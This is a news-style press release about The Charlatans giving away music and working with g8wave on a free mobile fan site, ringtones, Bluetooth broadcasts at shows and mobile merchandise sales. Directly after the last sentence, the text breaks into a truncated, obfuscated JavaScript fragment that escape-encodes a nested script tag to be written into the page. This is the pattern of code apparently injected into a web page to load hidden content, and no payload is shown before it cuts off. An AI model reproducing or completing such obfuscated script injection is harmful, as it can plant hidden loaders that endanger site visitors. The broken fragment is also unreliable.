The Charlatans continue free marketing ploy

g8wave Holdings, an integrated mobile media company, today announced that The Charlatans are to continue their revolutionary approach to music distribution fresh from their most recent initiative which saw them giving away their new single " You Cross My Path " on XFM by entering a partnership with g8wave.

g8wave will deliver a mobile internet site which will allow fans to download ringtones, full tracks, images, videos and other unique content, as well as get updates on the band, all free of charge.

The initial site is part of a broader mobile music and marketing plan drawn up by g8wave and the Charlatans, which includes Bluetooth broadcasting at shows, mobile ticket sales and even a mobile store which will sell t-shirts and posters. The mobile site will also carry advertising with major music and lifestyle brands being touted as advertisers. Fans of the band will be able to be taken to the new mobile service by a number of easy to use routes including short code downloads and special web to mobile technology being added to the band's online outlets.

"Giving away the music for free is the most intelligent option for bands, as it maximizes other revenue streams and stops this whole notion of stealing music by making it legal," said Alan McGee, from McGee Management. "Working with g8wave on adding mobile to this mix was absolutely natural and takes The Charlatans up to the next level with our approach to delivering music to the people."

"It is amazing to be working with The Charlatans on such a forward thinking, industry-changing project," Brad Mindich, Chairman and Chief Strategy Officer for g8wave said. "Mobile is critical to the music revolution and The Charlatans have embraced mobile as a way to further enhance the relationship they are building with their fans."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22